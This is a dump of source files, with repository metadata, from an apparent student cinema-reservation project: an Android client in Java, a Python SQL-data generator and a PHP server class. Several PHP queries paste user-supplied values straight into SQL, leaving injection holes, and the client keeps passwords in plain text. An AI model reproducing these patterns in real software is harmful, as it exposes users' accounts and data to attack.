findViewById(R.id.detalji_filma_detalji);\r\n\t\tImageView slika = (ImageView) findViewById(R.id.slikaFilma);\r\n\t\t\r\n\t\tnaslov.setText(detaljiFilma.getNaziv());\r\n\t\ttrajanje.setText(detaljiFilma.getTrajanje() + \" minuta\");\r\n\t\tzanr.setText(detaljiFilma.getZanr());\r\n\t\tredatelj.setText(detaljiFilma.getRedatelj());\r\n\t\tglavneUloge.setText(detaljiFilma.getGlavneUloge());\r\n\t\topis.setText(detaljiFilma.getOpis());\r\n\t\tISlikaFilma sf = UcitajSlikuFactory.ucitaj(getBaseContext(), detaljiFilma.getIdFilma(), true);\r\n\t\tslika.setImageBitmap(sf.dohvatiVelikuSliku());\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.6786172986030579,"alphanum_fraction":0.6856849193572998,"avg_line_length":38.74345397949219,"blob_id":"4aa351ad559492b8e121ee055931ecaf0f57cf95","content_id":"9ab4b526a6cb92e5d082842339272bb35df809c7","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":7814,"license_type":"no_license","max_line_length":106,"num_lines":191,"path":"/client-side/src/hr/air/mkino/core/Registracija.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.core;\r\n\r\nimport hr.air.mkino.R;\r\nimport hr.air.mkino.server.JsonRegistracija;\r\nimport hr.air.mkino.tipovi.Korisnik;\r\nimport android.app.Dialog;\r\nimport android.content.Context;\r\nimport android.view.View;\r\nimport android.view.Window;\r\nimport android.view.View.OnClickListener;\r\nimport android.widget.Button;\r\nimport android.widget.EditText;\r\nimport android.widget.Toast;\r\n/**\r\n * Klasa koja sadrži metode za prikazivanje obrasca za registraciju\r\n * */\r\npublic class Registracija {\r\n\t/*konstante za označavanje identifikacijskog broja pogreške prilikom registracije*/\r\n\tfinal static public int USPJESNA_REGISTRACIJA = 0; /*uspješna registracija */\r\n\tfinal static public int PONOVLJENA_LOZINKA = 1; /*ponovljena lozinka nije jednaka*/\r\n\tfinal static public int KORISNIK_POSTOJI = 4; /*korisnik već postoji */\r\n\tfinal static public int EMAIL_POSTOJI = 5; /*email već postoji*/\r\n\tfinal static public int TELEFON_POSTOJI = 6;\t\t /*telefonski broj već postoji */\r\n\tfinal static public int NEUSPJESNO_REG = 7; /*neuspješno dodavanje kojemu je razlog nepoznat*/\r\n\tfinal static public int KORIME_PRAZNO = 8; /*korisničko ime je prazno */\r\n\tfinal static public int IME_PRAZNO = 9; /*ime je prazno*/\r\n\tfinal static public int PREZIME_PRAZNO = 10; /*prezime je prazno*/\r\n\tfinal static public int LOZINKA_PRAZNA = 11; /*lozinka je prazna*/\r\n\tfinal static public int EMAIL_PRAZAN = 12; /*email je prazan*/\r\n\tfinal static public int TELEFON_PRAZAN = 13; /*telefon je prazan*/\r\n\t\r\n\t \r\n\t/** \r\n\t * Metoda koja prikazuje obrazac za registraciju\r\n\t * @param trenutni Context\r\n\t * */\r\n\tpublic void prikaziDijalog(final Context context) {\r\n\t\t/*otvori dijalog za registraciju*/\r\n\t\tfinal Dialog dialogRegistracija = new Dialog(context);\r\n\t\tdialogRegistracija.requestWindowFeature(Window.FEATURE_NO_TITLE);\r\n\t\tdialogRegistracija.setContentView(R.layout.dialog_registracija);\r\n\t\tdialogRegistracija.show();\r\n\r\n\t\t/*dohvaćanje unešenih podataka*/\r\n\t\tButton btnRegistrirajSe = (Button) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.registracija_btnRegistrirajSe);\r\n\t\tButton btnOdustani = (Button) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.registracija_btnOdustani);\r\n\r\n\t\tfinal EditText txtKorisnickoIme = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtKorisnickoIme);\r\n\t\tfinal EditText txtLozinka = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtLozinka);\r\n\t\tfinal EditText txtPonovljenaLozinka = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtPonovljenaLozinka);\r\n\t\tfinal EditText txtIme = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtIme);\r\n\t\tfinal EditText txtPrezime = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtPrezime);\r\n\t\tfinal EditText txtEmail = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtEmail);\r\n\t\tfinal EditText txtTelefon = (EditText) dialogRegistracija\r\n\t\t\t\t.findViewById(R.id.dialog_registracija_txtTelefon);\r\n\r\n\t\t/*izlazak iz dijaloga*/\r\n\t\tbtnOdustani.setOnClickListener(new OnClickListener() {\r\n\r\n\t\t\t@Override\r\n\t\t\tpublic void onClick(View v) {\r\n\t\t\t\tdialogRegistracija.dismiss();\r\n\t\t\t}\r\n\t\t});\r\n\t\t\r\n\t\t/*registracija*/\r\n\t\tbtnRegistrirajSe.setOnClickListener(new OnClickListener() {\r\n\r\n\t\t\t@Override\r\n\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t/*parsiranje korisničkog unosa u formu*/\r\n\t\t\t\tString korisnickoIme = txtKorisnickoIme.getText().toString();\r\n\t\t\t\tString lozinka = txtLozinka.getText().toString();\r\n\t\t\t\tString ponovljenaLozinka = txtPonovljenaLozinka.getText().toString();\r\n\t\t\t\tString ime = txtIme.getText().toString();\r\n\t\t\t\tString prezime = txtPrezime.getText().toString();\r\n\t\t\t\tString email = txtEmail.getText().toString();\r\n\t\t\t\tString telefon = txtTelefon.getText().toString();\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tKorisnik korisnik = new Korisnik(korisnickoIme, lozinka, ime, prezime, email, telefon);\t\r\n\t\t\t\t\r\n\t\t\t\t/*izvršavanje registracije i obavještavanje korisnika o uspješnosti*/\r\n\t\t\t\tswitch(IzvrsiRegistraciju(korisnik, ponovljenaLozinka))\r\n\t\t\t\t{\r\n\t\t\t\t\tcase USPJESNA_REGISTRACIJA: \r\n\t\t\t\t\t\tToast.makeText(context, \"Uspješna registracija!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tdialogRegistracija.dismiss();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase PONOVLJENA_LOZINKA: \r\n\t\t\t\t\t\tToast.makeText(context, \"Lozinke nisu jednake!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\t\t\t\t\r\n\t\t\t\t\tcase KORISNIK_POSTOJI: \r\n\t\t\t\t\t\tToast.makeText(context, \"Korisničko ime zauzeto!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase EMAIL_POSTOJI: \r\n\t\t\t\t\t\tToast.makeText(context, \"e-mail zauzet!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase TELEFON_POSTOJI:\r\n\t\t\t\t\t\tToast.makeText(context, \"telefon zauzet!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase NEUSPJESNO_REG: \r\n\t\t\t\t\t\tToast.makeText(context, \"Registracija nije uspjela! Pokušajte ponovno.\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase KORIME_PRAZNO: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite korisničko ime!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase IME_PRAZNO: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite ime!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase PREZIME_PRAZNO: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite prezime!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase LOZINKA_PRAZNA: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite lozinku!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase EMAIL_PRAZAN: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite email!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tcase TELEFON_PRAZAN: \r\n\t\t\t\t\t\tToast.makeText(context, \"Molimo Vas, unesite telefon!\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\tdefault: \r\n\t\t\t\t\t\tToast.makeText(context, \"Registracija nije uspjela! Pokušajte ponovno.\", Toast.LENGTH_SHORT).show();\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t}\r\n\t\t});\r\n\r\n\t}\r\n\r\n\t/**\r\n\t * Metoda koja izvršava registraciju korisnika putem POST metode. \r\n\t * Prvo se podaci validiraju na korisničkoj strani, a\r\n\t * ukoliko dođe do pogreške vraća se broj pogreške ovisno o odgovoru kojeg\r\n\t * vraća servis prilikom validacije i unosa u bazu\r\n\t * \r\n\t * @param objekt tipka Korisnik sa popunjenim podacima i ponovljena lozinka za validaciju\r\n\t * @return \r\n\t *\t USPJESNA_REGISTRACIJA = 0; \r\n\t *\t PONOVLJENA_LOZINKA = 1;\r\n\t *\t KORISNIK_POSTOJI = 4;\r\n\t *\t EMAIL_POSTOJI = 5;\r\n\t *\t TELEFON_POSTOJI = 6;\r\n\t *\t NEUSPJESNO_REG = 7;\r\n\t *\t KORIME_PRAZNO = 8;\r\n\t *\t IME_PRAZNO = 9;\r\n\t *\t PREZIME_PRAZNO = 10;\r\n\t *\t LOZINKA_PRAZNA = 11;\r\n\t *\t EMAIL_PRAZAN = 12;\r\n\t * \t TELEFON_PRAZAN = 13;\r\n\t */\r\n\tpublic int IzvrsiRegistraciju(Korisnik korisnik, String ponovljenaLozinka) {\r\n\t\t\r\n\t\t/*validacija korisničkog unosa*/\r\n\t\tif (korisnik.getKorisnickoIme().length() == 0 || korisnik.getKorisnickoIme() == null) \r\n\t\t\treturn 8;\r\n\t\tif (ponovljenaLozinka.length() == 0 || ponovljenaLozinka == null)\r\n\t\t\treturn 11;\r\n\t\tif(korisnik.getLozinka().length() == 0 || korisnik.getLozinka() == null)\r\n\t\t\treturn 11;\r\n\t\tif (korisnik.getIme().length() == 0 || korisnik.getIme() == null)\r\n\t\t\treturn 9;\r\n\t\tif (korisnik.getPrezime().length() == 0 || korisnik.getPrezime() == null)\r\n\t\t\treturn 10;\r\n\t\tif (korisnik.getLozinka().length() == 0 || korisnik.getLozinka() == null)\r\n\t\t\treturn 11;\t\t\r\n\t\tif (korisnik.getEmail().length() == 0 || korisnik.getEmail() == null)\r\n\t\t\treturn 12;\r\n\t\tif(korisnik.getTelefon().length() == 0 || korisnik.getTelefon() == null)\r\n\t\t\treturn 13;\t\t\r\n\t\tif(!ponovljenaLozinka.equals(korisnik.getLozinka()))\r\n\t\t\treturn 1;\r\n\t\t\r\n\t\tJsonRegistracija jsonReg = new JsonRegistracija();\r\n\t\t/*provjera na korisničkoj strani je uspješno izvršena, izvršavamo registraciju putem post metode*/\r\n\t\tint uspjesnaRegistracija = jsonReg.registriraj(korisnik);\r\n\t\t\r\n\t\treturn uspjesnaRegistracija;\r\n\t}\r\n\r\n}\r\n"},{"alpha_fraction":0.6276476979255676,"alphanum_fraction":0.6867335438728333,"avg_line_length":43.849998474121094,"blob_id":"2243907dc549402c914bd57345bf023a9456a51b","content_id":"ff7c6c03ae9ebb5ab254390a288bb1a6b7fe349d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":898,"license_type":"no_license","max_line_length":210,"num_lines":20,"path":"/server-side/Baza/generiranjeProjekcija.py","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"#!/usr/bin/python3.3\n\nimport random\n\ns = \"Insert into projekcijefilmova (dvorana, film, vrijemePocetka, cijena) values \"\n\nfor k in range(9, 24, 2): # 8 puta. vrijeme\n\tfor i in range(2, 22): # svi filmovi\n\t\tsvakiFilmUXDvorana = random.randint(10, 15) #uključive obje granice\n\t\tiskoristeneDvoraneUTerminu = set()\n\t\tfor j in range(svakiFilmUXDvorana):\n\t\t\t# biramo dvoranu\n\t\t\tdvorana = random.randint(1, 80)\n\t\t\twhile ((dvorana > 26 and dvorana < 35) or (dvorana > 49 and dvorana < 58) or (dvorana > 65 and dvorana < 76) or (dvorana in iskoristeneDvoraneUTerminu)):\n\t\t\t\tdvorana = random.randint(1, 80)\n\t\t\tiskoristeneDvoraneUTerminu.add(dvorana)\n\t\t\ts += \"({dv}, {film}, '2014-01-{dan} {sat}:{minuta}:00', {cijena}), \".format(dv=dvorana, film=i, dan=random.randint(1, 10), sat=k, minuta=str(random.randint(0,1)*30).zfill(2), cijena=25+random.randint(0,2)*5)\n\nwith open('sve.sql', 'w') as f:\n\tf.write(s)\n"},{"alpha_fraction":0.7694393992424011,"alphanum_fraction":0.7703436017036438,"avg_line_length":49.46511459350586,"blob_id":"72fd464774ef57f51799a701ea1cf3b65668dd6d","content_id":"fd28d49a813c986893bb73aed433217f7f792636","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":2219,"license_type":"no_license","max_line_length":225,"num_lines":43,"path":"/client-side/src/hr/air/mkino/baza/DbHelper.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.baza;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\n\r\nimport android.content.Context;\r\nimport android.database.sqlite.SQLiteDatabase;\r\nimport android.database.sqlite.SQLiteDatabase.CursorFactory;\r\nimport android.database.sqlite.SQLiteOpenHelper;\r\n\r\n/**\r\n * Ova klasa služi za ostvarivanje pristupa lokalnoj bazi podataka. Kada se instancira ovaj objekt, stvaraju se sve potrebne tablice kako bi bile spremne za postupak čitanja/pisanja\r\n * @author domagoj\r\n *\r\n */\r\npublic class DbHelper extends SQLiteOpenHelper {\r\n\r\n\tpublic DbHelper(Context context, String name, CursorFactory factory,\r\n\t\t\tint version) {\r\n\t\tsuper(context, name, factory, version);\r\n\t}\r\n\t\r\n\t// prilikom stvaranja instance se stvaraju i sve potrebne tablice\r\n\t@Override\r\n\tpublic void onCreate(SQLiteDatabase db) {\r\n\t\tList<String> tablice = new ArrayList<String>();\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS multipleksi (idMultipleksa INTEGER PRIMARY KEY, naziv TEXT, oznaka TEXT, zemljopisnaDuzina REAL, zemljopisnaSirina REAL)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS korisnik (idKorisnika INTEGER PRIMARY KEY, korisnickoIme TEXT, ime TEXT, prezime TEXT, email TEXT, telefon TEXT)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS filmovi (idFilma INTEGER PRIMARY KEY, naziv TEXT, opis TEXT, redatelj TEXT, glavneUloge TEXT, trajanje INTEGER, godina INTEGER, aktualno INTEGER, zanr TEXT)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS projekcije(idProjekcije INTEGER PRIMARY KEY, dvorana INTEGER, film INTEGER CONSTRAINT fk55 REFERENCES filmovi(idFilma), vrijemePocetka DATETIME, cijena INTEGER, multipleks INTEGER)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS odabranimultipleks (id INTEGER)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS mojaRezervacija (idRezervacije INTEGER, idProjekcije INTEGER, korisnickoIme TEXT, kodRezervacije TEXT, sjedalo INTEGER)\");\r\n\t\ttablice.add(\"CREATE TABLE IF NOT EXISTS prijavljenikorisnik (korisnickoIme TEXT, lozinka TEXT)\");\r\n\t\t\r\n\t\tfor (String tablica : tablice)\r\n\t\t\tdb.execSQL(tablica);\r\n\t}\r\n\r\n\t@Override\r\n\tpublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\r\n\t\t// ovo mora biti ovdje, unatoč tome što zasad ne treba i što možda neće trebati\r\n\t}\r\n}\n"},{"alpha_fraction":0.712106466293335,"alphanum_fraction":0.712431013584137,"avg_line_length":26.794391632080078,"blob_id":"da9f83eeaf6ab4d2cdf2ed7d7dfaf22aec95fca9","content_id":"8d7118eb8ff036bbfeba0c9b8757c876f411fa9a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":3087,"license_type":"no_license","max_line_length":119,"num_lines":107,"path":"/client-side/src/hr/air/mkino/server/JsonMultipleksi.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport hr.air.mkino.tipovi.MultipleksInfo;\r\n\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\nimport org.apache.http.client.methods.HttpGet;\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\nimport android.os.AsyncTask;\r\n\r\n/**\r\n * Ova klasa služi za dohvat svih multipleksa sa web servisa.\r\n * @author domagoj\r\n *\r\n */\r\npublic class JsonMultipleksi extends AsyncTask<Void, Void, String> {\r\n\t/**\r\n\t * Dohvaća multiplekse sa web servisa\r\n\t * @return lista multipleksa\r\n\t */\r\n\tpublic List<MultipleksInfo> dohvatiMultiplekse()\r\n\t{\r\n\t\t// dohvatiti podatke s web servsa\t\t\r\n\t\tthis.execute();\r\n\t\tString jsonRezultat = \"\";\r\n\t\ttry {\r\n\t\t\tjsonRezultat = this.get();\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\tList<MultipleksInfo> multipleksi = parsirajJson(jsonRezultat);\r\n\t\treturn multipleksi;\r\n\t}\r\n\r\n\t/**\r\n\t * Parsira JSON string dohvaćen s web servisa\r\n\t * @param jsonRezultat\r\n\t * @return multipleksi\r\n\t */\r\n\tprivate List<MultipleksInfo> parsirajJson(String jsonRezultat) {\r\n\t\tList<MultipleksInfo> multipleksi = new ArrayList<MultipleksInfo>();\r\n\t\tint idMultipleksa;\r\n\t\tString naziv;\r\n\t\tString oznaka;\r\n\t\tfloat zemljopisnaDuzina;\r\n\t\tfloat zemljopisnaSirina;\r\n\t\t\r\n\t\ttry {\r\n\t\t\tJSONArray mpleksi = new JSONArray(jsonRezultat);\r\n\t\t\tint n = mpleksi.length();\r\n\t\t\tfor(int i=0; i<n; i++)\r\n\t\t\t{\r\n\t\t\t\tJSONObject mpleks = mpleksi.getJSONObject(i);\r\n\t\t\t\tidMultipleksa = mpleks.getInt(\"idMultipleksa\");\r\n\t\t\t\tnaziv = mpleks.getString(\"naziv\");\r\n\t\t\t\toznaka = mpleks.getString(\"oznaka\");\r\n\t\t\t\tzemljopisnaDuzina = Float.valueOf(mpleks.getString(\"zemljopisnaDuzina\"));\r\n\t\t\t\tzemljopisnaSirina = Float.valueOf(mpleks.getString(\"zemljopisnaSirina\"));\r\n\t\t\t\tMultipleksInfo multipleks = new MultipleksInfo(idMultipleksa, naziv, oznaka, zemljopisnaDuzina, zemljopisnaSirina);\r\n\t\t\t\t\r\n\t\t\t\tmultipleksi.add(multipleks);\r\n\t\t\t}\r\n\t\t} \r\n\t\tcatch (JSONException e) {\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\treturn multipleksi;\r\n\t}\r\n\r\n\t// pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\r\n\t@Override\r\n\tprotected String doInBackground(Void... params) {\r\n\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t\tHttpGet httpZahtjev = new HttpGet(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=multipleksi\");\r\n\t\t\r\n\t\tString jsonResult = \"\";\r\n\t\tResponseHandler<String> handler = new BasicResponseHandler();\r\n\t\t\r\n\t\ttry {\r\n\t\t\tjsonResult = httpKlijent.execute(httpZahtjev, handler);\r\n\t\t}\r\n\t\tcatch(ClientProtocolException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\tcatch(IOException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\treturn jsonResult;\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.4762108027935028,"alphanum_fraction":0.4795178174972534,"avg_line_length":47.87234115600586,"blob_id":"7e18d80d748f9dc9e8ec70e4d57c3863c2d18a73","content_id":"0f53e17d92a3648d6228ffc0da453ab9ba00ff8f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"PHP","length_bytes":9375,"license_type":"no_license","max_line_length":370,"num_lines":188,"path":"/server-side/Datoteke/skripte/filmovi.php","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"<?php\r\n class Filmovi\r\n {\r\n public static function DohvatiFilmove($aktualno)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idFilma, filmovi.naziv as naziv, opis, redatelj, glavneUloge, trajanje, godina, zanrovi.naziv as zanr, aktualno FROM filmovi JOIN zanrovi ON (filmovi.zanr = zanrovi.idZanra) WHERE aktualno = \" . $aktualno;\r\n \r\n $filmovi = UpitUBazu($upit);\r\n return $filmovi;\r\n }\r\n public static function DohvatiRezervacije($korisnik)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '$korisnik'\";\r\n $idKorisnika = UpitUBazu($upit);\r\n $upit = \"SELECT * FROM rezervacije LEFT JOIN projekcijefilmova ON rezervacije.projekcija = projekcijefilmova.idProjekcije WHERE projekcijefilmova.vrijemePocetka >= NOW() AND korisnik = \" . $idKorisnika[0]['idKorisnika'] . \" ORDER BY rezervacije.projekcija\";\r\n $projekcije = UpitUBazu($upit);\r\n return $projekcije;\r\n }\r\n \r\n public static function DohvatiNekeFilmove($aktualno, $bezOvih)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idFilma, filmovi.naziv as naziv, opis, redatelj, glavneUloge, trajanje, godina, zanrovi.naziv as zanr, aktualno FROM filmovi JOIN zanrovi ON (filmovi.zanr = zanrovi.idZanra)\";\r\n \r\n $filmovi = UpitUBazu($upit);\r\n \r\n $bezOvihFilmovaTmp = json_decode($bezOvih);\r\n $bezOvihFilmova = array();\r\n foreach($bezOvihFilmovaTmp as $bezOvog)\r\n $bezOvihFilmova[] = $bezOvog->{'idFilma'};\r\n \r\n $samoOviFilmovi = array();\r\n \r\n foreach($filmovi as $film)\r\n {\r\n $idFilma = $film[\"idFilma\"];\r\n if (! in_array($idFilma, $bezOvihFilmova) && $film[\"aktualno\"] == 1)\r\n {\r\n $samoOviFilmovi[] = $film;\r\n }\r\n \r\n if (in_array($idFilma, $bezOvihFilmova) && $film[\"aktualno\"] == 0)\r\n {\r\n $samoOviFilmovi[] = $film;\r\n }\r\n }\r\n \r\n return $samoOviFilmovi;\r\n }\r\n \r\n public static function DohvatiSveProjekcije($film, $multipleks)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idProjekcije, vrijemePocetka, cijena, brojDvorane FROM projekcijefilmova JOIN dvorane ON (projekcijefilmova.dvorana = dvorane.idDvorane) JOIN multipleksi ON (dvorane.multipleks = multipleksi.idMultipleksa) WHERE projekcijefilmova.film = $film AND dvorane.multipleks = $multipleks AND DATE(vrijemePocetka) >= DATE(DATE_ADD(NOW(), INTERVAL 1 HOUR))\";\r\n $projekcije = UpitUBazu($upit);\r\n return $projekcije;\r\n }\r\n \r\n public static function DohvatiProjekcijeNaDan($film, $multipleks, $datum)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idProjekcije, vrijemePocetka, cijena, brojDvorane FROM projekcijefilmova JOIN dvorane ON (projekcijefilmova.dvorana = dvorane.idDvorane) JOIN multipleksi ON (dvorane.multipleks = multipleksi.idMultipleksa) WHERE projekcijefilmova.film = $film AND dvorane.multipleks = $multipleks AND DATE(vrijemePocetka) = '$datum'\";\r\n $projekcije = UpitUBazu($upit);\r\n return $projekcije;\r\n }\r\n public static function DohvatiProjekcijeMultipleks($multipleks, $bezOvih)\r\n {\r\n require_once 'DB_connect.php';\r\n $danasnjiDatum = date('Y-m-d H:i:s', time());\r\n $danasnjiDatum = date('Y-m-d', strtotime($danasnjiDatum . '+ 30 minute'));\r\n $iduca2Tjedna = date('Y-m-d', strtotime($danasnjiDatum . '+ 14 day'));\r\n $upit = \"SELECT p.idProjekcije, p.film, p.vrijemePocetka, p.cijena, d.brojDvorane, d.multipleks FROM projekcijefilmova AS p LEFT JOIN dvorane AS d ON p.dvorana = d.idDvorane WHERE d.multipleks = $multipleks AND p.vrijemePocetka >= DATE_ADD(NOW(), INTERVAL 1 HOUR) ORDER BY p.film ASC , `p`.`vrijemePocetka` ASC\";\r\n $projekcije = UpitUBazu($upit);\r\n \r\n try{\r\n $bezOvihProjekcijaTmp = json_decode($bezOvih);\r\n $bezOvihProjekcija = array();\r\n if(!empty($bezOvihProjekcijaTmp))\r\n {\r\n foreach($bezOvihProjekcijaTmp as $bezOvog)\r\n $bezOvihProjekcija[] = $bezOvog->{'idProjekcije'};\r\n }\r\n }\r\n catch( Exception $e){\r\n \r\n }\r\n $samoOveProjekcije = array();\r\n \r\n foreach($projekcije as $projekcija)\r\n {\r\n \r\n if(($projekcija['vrijemePocetka'] >= $danasnjiDatum) && ($projekcija['vrijemePocetka'] <= $iduca2Tjedna))\r\n {\r\n $uvjet = true;\r\n }\r\n else \r\n {\r\n $uvjet=false;\r\n }\r\n \r\n \r\n \r\n $idProjekcije = $projekcija[\"idProjekcije\"];\r\n if (! in_array($idProjekcije, $bezOvihProjekcija) && ($uvjet == true))\r\n {\r\n \r\n $samoOveProjekcije[] = $projekcija;\r\n }\r\n if ( in_array($idProjekcije, $bezOvihProjekcija)&& ($uvjet == false))\r\n {\r\n $samoOveProjekcije[] = $projekcija;\r\n }\r\n } \r\n return $samoOveProjekcije; \r\n }\r\n public static function DohvatiSjedalaProjekcija($projekcija)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT brojSjedala FROM rezervacije WHERE projekcija =\".$projekcija.\" order by brojSjedala\";\r\n \r\n $projekcije = UpitUBazu($upit);\r\n return $projekcije;\r\n }\r\n public static function Rezerviraj($projekcija, $korisnik, $sjedalaJSON)\r\n {\r\n \r\n $zapis = array();\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '\".$korisnik.\"'\";\r\n \r\n $idKorisnika = UpitUBazu($upit); \r\n \r\n $sjedalaTmp = json_decode($sjedalaJSON); \r\n $sjedala = array();\r\n \r\n $kodRezervacije = $idKorisnika[0]['idKorisnika'] .\"-\".$projekcija;\r\n \r\n $zauzetoMjesto = 0;\r\n for($i = 0; $i < count(sjedalaTmp); $i++)\r\n {\r\n $upit = \"SELECT * FROM rezervacije WHERE projekcija =\".$projekcija.\" AND brojSjedala=\".(string)$sjedalaTmp[$i]->{'sjedalo'}.\"\";\r\n $rezervacije = UpitUBazu($upit);\r\n if($rezervacije[0][povratnaInformacijaId] !== 1) $zauzetoMjesto=1; \r\n \r\n } \r\n \r\n if($zauzetoMjesto === 0)\r\n {\r\n for($i = 0; $i < sizeof($sjedalaTmp,1); $i++)\r\n {\r\n $upit = \"INSERT INTO rezervacije VALUES (DEFAULT,\".$projekcija.\", \".(string)$idKorisnika[0]['idKorisnika'].\", \".(string)$sjedalaTmp[$i]->{'sjedalo'}.\", '\".$kodRezervacije.\"')\";\r\n $uspjesnost = Transakcija($upit);\r\n \r\n }\r\n if($uspjesnost === -6)\r\n {\r\n $zapis[0] = array(\"povratnaInformacijaId\" => -6, \"povratnaInformacijaTekst\" => utf8_encode(\"Rezervacija nije uspjela!\"));\r\n \r\n }\r\n else\r\n {\r\n $zapis[0] = array(\"povratnaInformacijaId\" => $kodRezervacije , \"povratnaInformacijaTekst\" => utf8_encode(\"Rezervacija uspjesna!\"));\r\n }\r\n }\r\n else\r\n {\r\n $zapis[0] = array(\"povratnaInformacijaId\" => -7, \"povratnaInformacijaTekst\" => utf8_encode(\"Ulaznice u međuvremenu rezervirane!\"));\r\n } \r\n return $zapis;\r\n }\r\n \r\n \r\n public static function ObrisiMojuRezervaciju($korisnik, $idProjekcije)\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT idKorisnika FROM korisnici WHERE korisnickoIme = '$korisnik'\";\r\n $idKorisnikaTmp = UpitUBazu($upit);\r\n\t\t\t\t\t$idKorisnika = $idKorisnikaTmp[0]['idKorisnika'];\r\n \r\n $upit = \"DELETE FROM rezervacije WHERE kod='$idKorisnika-$idProjekcije'\";\r\n $uspjelo = BrisanjeIzBaze($upit);\r\n return $uspjelo;\r\n }\r\n 